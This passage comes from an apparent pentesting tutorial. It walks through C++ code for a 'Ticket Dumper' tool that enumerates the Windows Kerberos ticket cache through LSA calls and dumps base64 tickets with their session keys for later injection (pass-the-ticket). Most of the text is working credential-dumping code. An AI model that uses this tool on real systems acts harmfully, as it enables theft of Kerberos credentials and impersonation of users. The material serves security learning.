case KERB_ETYPE_DES_CBC_MD5: type = "des_cbc_md5 "; break;
case KERB_ETYPE_DES_CBC_MD5_NT: type = "des_cbc_md5_nt "; break;
case KERB_ETYPE_RC4_PLAIN: type = "rc4_plain "; break;
case KERB_ETYPE_RC4_PLAIN2: type = "rc4_plain2 "; break;
case KERB_ETYPE_RC4_PLAIN_EXP: type = "rc4_plain_exp "; break;
case KERB_ETYPE_RC4_LM: type = "rc4_lm "; break;
case KERB_ETYPE_RC4_MD4: type = "rc4_md4 "; break;
case KERB_ETYPE_RC4_SHA: type = "rc4_sha "; break;
case KERB_ETYPE_RC4_HMAC_NT: type = "rc4_hmac_nt "; break;
case KERB_ETYPE_RC4_HMAC_NT_EXP: type = "rc4_hmac_nt_exp "; break;
case KERB_ETYPE_RC4_PLAIN_OLD: type = "rc4_plain_old "; break;
case KERB_ETYPE_RC4_PLAIN_OLD_EXP: type = "rc4_plain_old_exp"; break;
case KERB_ETYPE_RC4_HMAC_OLD: type = "rc4_hmac_old "; break;
case KERB_ETYPE_RC4_HMAC_OLD_EXP: type = "rc4_hmac_old_exp "; break;
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96_PLAIN: type = "aes128_hmac_plain"; break;
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96_PLAIN: type = "aes256_hmac_plain"; break;
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96: type = "aes128_hmac "; break;
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96: type = "aes256_hmac "; break;
default: type = "unknow "; break;
}
return type;
}

The second one is slightly more sophisticated. As you remember, to ensure that all the flags are displayed correctly, you have placed them into stuff.h to the TicketFlagsToStrings string array:

const PCWCHAR TicketFlagsToStrings[] = {
L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
L"hw_authent", L"pre_authent", L"initial", L"renewable",
L"invalid", L"postdated", L"may_postdate", L"proxy",
L"proxiable", L"forwarded", L"forwardable", L"reserved",
};

To get ticket flags, simple arithmetic operators are used.

VOID ParseTktFlags(ULONG flags) {
DWORD i;
for (i = 0; i < ARRAYSIZE(TicketFlagsToStrings); i++)
if ((flags >> (i + 16)) & 1)
std::wcout << TicketFlagsToStrings[i] << ", ";
std::wcout << std::endl;
}

Done with cache parsing. Time to dump a ticket!

Ticket dump

At this point, you possess all information about the ticket. You know the service it was issued to and who holds this ticket. Now you have to get the ticket itself. But to avoid muddiness of mind, let’s finish with tickets and session keys first. You probably know that Kerberos uses session keys everywhere: they make it possible to establish encrypted communication channels between the KDC and the client or between the client and a service. Did you ever wonder: at what point is the session key dumped? Where to get it from? For example, you can dump tickets using Rubeus dump; it even displays the session key to you, but where is this session key used? You take this ticket and inject it, and everything works fine.

Dumping ticket and session key
Dumping ticket and session key
Successful ticket injection
Successful ticket injection

Here is the trick. Do you remember that you had to specify MessageType in the KERB_QUERY_TKT_CACHE_REQUEST structure when you were calling a Kerberos AP? This MessageType defines what you need from the Kerberos AP. Earlier, to get information about cached tickets, you specified KerbQueryTicketCacheMessage. Now you are going to dump tickets, and two values can be used for this purpose:

  • KerbRetrieveTicketMessage – according to the MSDN documentation, “This dispatch routine retrieves the ticket-granting ticket from the ticket cache of the specified user logon session.” In reality, it enables you to dump the ticket – but without the session key. In other words, you get a ticket, but you won’t be able to inject it since a session key associated with it is required for this; and 
  • KerbRetrieveEncodedTicketMessage – according to the MSDN documentation, “This message retrieves the specified ticket, either from the cache, if it is already there, or by requesting it from the Kerberos key distribution center (KDC).” This value enables you to dump a ticket with the session key.

Perhaps my explanations aren’t very clear… Let’s go through this process using specific examples. I intentionally implemented two dumping options in Ticket Dumper: it can dump tickets both with and without session keys.

Two values are used to dump tickets
Two values are used to dump tickets

The dumped tickets are displayed one after another.

A ticket with a session key and a ticket without it
A ticket with a session key and a ticket without it

Can you see it? The ticket starting with doI contains a session key that is directly embedded into its binary data. As a result, if you inject this ticket, you can interact with Kerberos on behalf of the user who owns it. And below is a ticket without a session key. I have no idea what use can be in it… Perhaps, it could be used for some research purposes? Note that these two tickets have the same session key.

Hopefully, everything is crystal-clear now. Let’s learn to dump. After enumerating the ticket cache, you have to retrieve these tickets. To dump them correctly, you will also need ServerName (i.e. name of the service the ticket was issued to; in the case of TGT, it’s krbtgt). First, you allocate a buffer of sufficient size. It must be equal to the size of the KERB_RETRIEVE_TKT_REQUEST structure plus the size of the string containing the name of the service a specific ticket was issued to.

DWORD szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength;
if (pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR, szData)) {
...
}

If the memory allocation procedure was successful, you can initialize pKerbRetrieveRequest using the desired values. The KERB_RETRIEVE_TKT_REQUEST structure looks as follows:

typedef struct _KERB_RETRIEVE_TKT_REQUEST {
KERB_PROTOCOL_MESSAGE_TYPE MessageType;
LUID LogonId;
UNICODE_STRING TargetName;
ULONG TicketFlags;
ULONG CacheOptions;
LONG EncryptionType;
SecHandle CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

where

  • MessageType – to dump a ticket with a session key, use KerbRetrieveEncodedTicketMessage; to dump a ticket without a session key, use KerbRetrieveTicketMessage;
  • LogonId – LUID of the logon session you dump tickets from;
  • TargetName – name of the service the ticket was issued to. This parameter can be used to create a filter to dump only tickets issued to a specific service (e.g. CIFS/DC01.CRINGE.LAB;
  • TicketFlags – filtering flags. If it’s set to 0 and a matching ticket is found in the cache, such a ticket will be dumped regardless of values of its flags. If there are no matches in the cache, a new ticket will be requested;
  • CacheOptions – caching options. There are plenty of them; you have to specify KERB_RETRIEVE_TICKET_AS_KERB_CRED to ensure that tickets are returned in the KRB_CRED format that is described in RFC 4120;
  • EncryptionType – ticket encryption type; and 
  • CredentialsHandle – this parameter is required for SSPI; in this particular case, it’s not used.

Correct initialization is a complicated procedure, but you are a hacker after all! Therefore, you simply copy all values received when you were examining the Kerberos AP cache: the same elements are contained in the returned structure.

pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags;
pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName;
pKerbRetrieveRequest->LogonId = kerbCacheRequest.LogonId;
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));

In this particular case, the KERB_RETRIEVE_TKT_REQUEST structure is stored in the pKerbRetrieveRequest variable which is dynamically allocated in memory. Therefore, to fill in the service name, use functions that copy a buffer from one address to another.

RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength);

The structure is ready. But this is just a request. What will the response look like? It represents a KERB_RETRIEVE_TKT_RESPONSE structure:

typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
KERB_EXTERNAL_TICKET Ticket;
} KERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE_TKT_RESPONSE;

where Ticket is the dumped ticket itself.

And below is the structure used to store the ticket in the system:

typedef struct _KERB_EXTERNAL_TICKET {
PKERB_EXTERNAL_NAME ServiceName;
PKERB_EXTERNAL_NAME TargetName;
PKERB_EXTERNAL_NAME ClientName;
UNICODE_STRING DomainName;
UNICODE_STRING TargetDomainName;
UNICODE_STRING AltTargetDomainName;
KERB_CRYPTO_KEY SessionKey;
ULONG TicketFlags;
ULONG Flags;
LARGE_INTEGER KeyExpirationTime;
LARGE_INTEGER StartTime;
LARGE_INTEGER EndTime;
LARGE_INTEGER RenewUntil;
LARGE_INTEGER TimeSkew;
ULONG EncodedTicketSize;
PUCHAR EncodedTicket;
} KERB_EXTERNAL_TICKET, *PKERB_EXTERNAL_TICKET;

It contains plenty of elements, but you can easily guess their purposes based on their names. Note EncodedTicket: this is what you are looking for. Finally you gain a ticket!

status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &ProtocolStatus);
if (status == 0) {
if (ProtocolStatus == 0) {
if (pKerbRetrieveResponse->Ticket.TargetName) { // Может быть равен NULL
printExternalName(*pKerbRetrieveResponse->Ticket.TargetName, L"TargetName");
}
SYSTEMTIME st;
FileTimeToSystemTime((PFILETIME)&pKerbRetrieveResponse->Ticket.TimeSkew, &st);
std::wcout << L"\t\tTimeSkew:\t" << st.wHour << ":" << st.wMinute << ":" << st.wSecond << std::endl;
printExternalName(*pKerbRetrieveResponse->Ticket.ServiceName, L"ServiceName");
printExternalName(*pKerbRetrieveResponse->Ticket.ClientName, L"ClientName");
std::wcout << L"\t\tDomainName:\t";
printUnicodeStringBuffer(pKerbRetrieveResponse->Ticket.DomainName);
std::wcout << L"\t\tTargetDomainName:\t";
printUnicodeStringBuffer(pKerbRetrieveResponse->Ticket.TargetDomainName);
std::wcout << L"\t\tAltTargetName:\t";
printUnicodeStringBuffer(pKerbRetrieveResponse->Ticket.AltTargetDomainName);
std::cout << "\t\tSession key: (b64) " << base64_encode(pKerbRetrieveResponse->Ticket.SessionKey.Value, pKerbRetrieveResponse->Ticket.SessionKey.Length) << std::endl;
std::cout << "\t\tSessionKeyType:\t"; GetSessionKeyType(pKerbRetrieveResponse->Ticket.SessionKey.KeyType);
std::cout << "\t\tTicket (with Session Key): " << base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl;

First, you check whether the TargetName element of the KERB_EXTERNAL_TICKET structure is initialized. This element contains the SPN. In the past, when I just started researching this topic, I added the ‘TGT or TGS’ check in this section of the program. If it’s TGT, then the element must be equal to NULL; if not TGT, then the service SPN must be written inside. But later I found out that in the case of TGT, the value of this element is KRBTGT/DOMAIN.COM; so, the above-described check for TGT (where ServiceName is checked) is more correct.

To correctly display the PKERB_EXTERNAL_NAME structure, a separate function is required.

void printExternalName(KERB_EXTERNAL_NAME& externalName, const wchar_t* Paramname) {
std::wcout << "\t\t" << Paramname << " (Type): ";
switch (externalName.NameType) {
case 0:
std::wcout << "KRB_NT_UNKNOWN" << std::endl;
break;
case 1:
std::wcout << "KRB_NT_PRINCIPAL" << std::endl;
break;
case -131:
std::wcout << "KRB_NT_PRINCIPAL_AND_ID" << std::endl;
break;
case 2:
std::wcout << "KRB_NT_SRV_INST" << std::endl;
break;
case -132:
std::wcout << "KRB_NT_SRV_INST_AND_ID" << std::endl;
break;
case 3:
std::wcout << "KRB_NT_SRV_HST" << std::endl;
break;
case 4:
std::wcout << "KRB_NT_SRV_XHST" << std::endl;
break;
case 5:
std::wcout << "KRB_NT_UID " << std::endl;
break;
case 10:
std::wcout << "KRB_NT_ENTERPRISE_PRINCIPAL" << std::endl;
break;
case -130:
std::wcout << "KRB_NT_ENT_PRINCIPAL_AND_ID" << std::endl;
break;
default:
std::wcout << "Unknown(" << externalName.NameType << ")" << std::endl;
break;
}
for (USHORT i = 0; i < externalName.NameCount; i++) {
UNICODE_STRING& unicodeString = externalName.Names[i];
wprintf(L"\t\t%ws %d: ", Paramname, i + 1);
printUnicodeStringBuffer(unicodeString);
}
}

This function takes the KERB_EXTERNAL_NAME structure and the parameter name (in this case, TargetName). Then it displays all information about the structure. NameType contains the name type that identifies the object. For instance, KRB_NT_PRINCIPAL means that the string contains the name of a Kerberos Principal. After that, it displays all names contained in this structure (in rare instances, there may be more than one name). The output is also implemented in a separate function.

void printUnicodeStringBuffer(UNICODE_STRING& unicodeString) {
if (unicodeString.Buffer != nullptr) {
wprintf(L"%.*s\n", unicodeString.Length / sizeof(wchar_t), unicodeString.Buffer);
}
}

This way, you can successfully parse all string data from the ticket. And finally, it’s time for the main dish: binary data. First, you get the session key using the base64_encode() function: you pass to it the key length and the key itself (in the form of binary data), and its response contains the key encoded in Base64. Additionally, you get the encryption type using the GetSessionKeyType() function:

void GetSessionKeyType(LONG KeyType) {
switch (KeyType) {
case KERB_ETYPE_NULL:
std::wcout << L"KERB_ETYPE_NULL" << std::endl;
break;
case KERB_ETYPE_DES_CBC_CRC:
std::wcout << L"KERB_ETYPE_DES_CBC_CRC" << std::endl;
break;
case KERB_ETYPE_DES_CBC_MD4:
std::wcout << L"KERB_ETYPE_DES_CBC_MD4" << std::endl;
break;
case KERB_ETYPE_RC4_HMAC_NT:
std::wcout << L"KERB_ETYPE_RC4_HMAC_NT" << std::endl;
break;
case KERB_ETYPE_DES_CBC_MD5:
std::wcout << L"KERB_ETYPE_DES_CBC_MD5" << std::endl;
break;
case KERB_ETYPE_RC4_MD4:
std::wcout << L"KERB_ETYPE_RC4_MD4" << std::endl;
break;
case KERB_ETYPE_AES256_CTS_HMAC_SHA1_96:
std::wcout << L"KERB_ETYPE_AES256_CTS_HMAC_SHA1_96" << std::endl;
break;
case KERB_ETYPE_AES128_CTS_HMAC_SHA1_96:
std::wcout << L"KERB_ETYPE_AES128_CTS_HMAC_SHA1_96" << std::endl;
break;
case 129:
std::wcout << L"KERB_ETYPE_RC4_MD5" << std::endl;
break;
case 130:
std::wcout << L"KERB_ETYPE_RC2_MD4" << std::endl;
break;
case 131:
std::wcout << L"KERB_ETYPE_RC2_MD5" << std::endl;
break;
default:
std::wcout << L"Unknown\t(" << KeyType << ")" << std::endl;
break;
}

The ticket is displayed using the above-mentioned base64_encode() function. In its last strings, the program addresses the Kerberos AP again – this time, to dump the ticket without the session key. To do this, you simply change the MessageType element of the previously initialized KERB_RETRIEVE_TKT_REQUEST structure to KerbRetrieveTicketMessage, and the program displays the ticket.

pKerbRetrieveRequest->MessageType = KerbRetrieveTicketMessage;
status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &ProtocolStatus);
if (status == 0) {
if (ProtocolStatus == 0) {
std::cout << "\t\tTicket (without Session Key): " << base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std::endl;
std::cout << "\t\tSession key for ticket w/out session key: (b64) " << base64_encode(pKerbRetrieveResponse->Ticket.SessionKey.Value, pKerbRetrieveResponse->Ticket.SessionKey.Length) << std::endl;
std::cout << "\t\tSessionKeyType:\t"; GetSessionKeyType(pKerbRetrieveResponse->Ticket.SessionKey.KeyType);
}

Conclusions

Writing custom tools that help you to solve pentesting problems is an integral part of professional development. You may find this article a little complicated, but don’t worry! I am always open to communication, and you are welcome to ask any questions – I’ll be happy to answer them.

Full code of this project is available at GitHub.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>